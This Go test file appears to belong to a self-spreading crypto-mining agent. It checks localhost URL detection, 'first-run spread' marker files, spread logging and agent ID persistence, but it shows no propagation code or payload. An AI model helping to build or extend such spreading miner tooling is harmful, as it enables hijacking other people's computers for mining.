package deploy

import (
	"os"
	"path/filepath"
	"testing"

	"crypto-miner-agent/config"
)

func spreadTestConfig(t *testing.T) (config.RuntimeConfig, string) {
	t.Helper()
	dir := t.TempDir()
	cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
		WorkerName:          "w",
		InstallBase:         "temp",
		InstallRelativePath: config.DefaultInstallRelativePath,
		BuildID:             "b1",
	}}
	// Override install dir by writing marker directly
	return cfg, dir
}

func TestIsLocalhostURL(t *testing.T) {
	for _, u := range []string{"http://localhost:8080", "https://127.0.0.1/", "http://[::1]:3000"} {
		if !isLocalhostURL(u) {
			t.Fatalf("%q should be localhost", u)
		}
	}
	if isLocalhostURL("https://example.com") {
		t.Fatal("example.com is not localhost")
	}
}

func TestWantsFirstRunSpreadMarker(t *testing.T) {
	cfg, dir := spreadTestConfig(t)
	marker := filepath.Join(dir, firstRunSpreadMarker)
	if WantsFirstRunSpread(cfg) {
		// may false if InstallDirectory != dir
	}
	if err := os.WriteFile(marker, []byte("1\n"), 0600); err != nil {
		t.Fatal(err)
	}
	// WantsFirstRunSpread uses cfg.InstallDirectory(), not temp dir — test marker helpers directly
	if err := setFirstRunSpreadMarker(dir); err != nil {
		t.Fatal(err)
	}
	if _, err := os.Stat(filepath.Join(dir, firstRunSpreadMarker)); err != nil {
		t.Fatal(err)
	}
	ClearFirstRunSpreadMarker(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
		InstallBase: "temp", InstallRelativePath: config.DefaultInstallRelativePath,
	}})
}

func TestLogSpreadErrorAndInfo(t *testing.T) {
	LogSpreadError("stage", nil)
	LogSpreadError("stage", os.ErrNotExist)
	LogSpreadInfo("spread ok")
}

func TestEnsureAndLoadAgentID(t *testing.T) {
	dir := t.TempDir()
	id, err := EnsureAgentID(dir)
	if err != nil {
		t.Fatal(err)
	}
	if id == "" {
		t.Fatal("empty id")
	}
	loaded, err := LoadAgentID(dir)
	if err != nil {
		t.Fatal(err)
	}
	if loaded != id {
		t.Fatalf("load %q != ensure %q", loaded, id)
	}
}

func TestLoadAgentIDMissing(t *testing.T) {
	_, err := LoadAgentID(t.TempDir())
	if err == nil {
		t.Fatal("expected error for missing file")
	}
}

func TestLoadAgentIDEmptyFile(t *testing.T) {
	dir := t.TempDir()
	if err := os.WriteFile(filepath.Join(dir, agentIDFile), []byte("  \n"), 0600); err != nil {
		t.Fatal(err)
	}
	_, err := LoadAgentID(dir)
	if err == nil {
		t.Fatal("expected error for empty id file")
	}
}
